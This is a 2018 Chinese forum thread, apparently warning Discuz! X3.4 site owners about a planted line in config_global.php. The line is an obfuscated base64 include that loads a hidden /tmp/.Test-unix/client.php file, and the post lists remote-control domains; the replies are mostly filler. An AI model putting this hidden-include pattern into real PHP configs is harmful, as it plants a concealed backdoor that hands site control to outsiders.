民审-M

Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示

作者:民审-M   发布时间:2018-09-28 16:19   回复数:12   浏览数:248
民审-M
24812民审-M金牌草根
热门 2018-09-28 16:19:58
24812 热门 2018-09-28 16:19:58
本帖最后由 民审-M 于 2018-9-28 16:22 编辑

Discuz! X3.4版本以下/config/config_global.php注入漏洞:
@include(base64_decode('L3RtcC8uVGVzdC11bml4L2NsaWVudC5waHA='));

解析:
写入服务器/tmp/.Test-unix/client.php
远程控制注入地址:
www.womendemengxiang.com

gbk.baidu901.com

9a9vj.com:8888



内容:
本部分内容设定了隐藏,需要回复后才能看到


奥黛丽赫本
沙发奥黛丽赫本步入草根 2018-09-28 21:38
666666666666
地摊网
板凳地摊网终身ViP 2018-10-01 01:08
前几天我就被这漏洞注入了
空白影子
地板空白影子步入草根 2018-10-01 20:21
学习学习顶
美女丶别跑呀
4楼美女丶别跑呀步入草根 2018-10-08 14:38
66666666看看内容
decode
5楼decode步入草根 2018-10-10 15:31
需要详细信息
Master
6楼Master步入草根 2018-10-17 19:40
太厉害呀
谁是我的谁
7楼谁是我的谁步入草根 2018-10-28 20:58
这是很久以前的了吧
天空的风
8楼天空的风步入草根 2018-10-30 09:56
看看这个
人生难懂
9楼人生难懂步入草根 2018-10-31 14:23
好好好
不曾止步
10楼不曾止步步入草根 2018-11-07 21:32

这个帖子不回对不起自己!我想我是一天也不能离开草根吧
我是天空
11楼我是天空 2018-11-27 10:39
是吗?
猫大熊
12楼猫大熊 2018-12-05 14:41
大哥牛X
游客
登录后才可以回帖,登录 或者 注册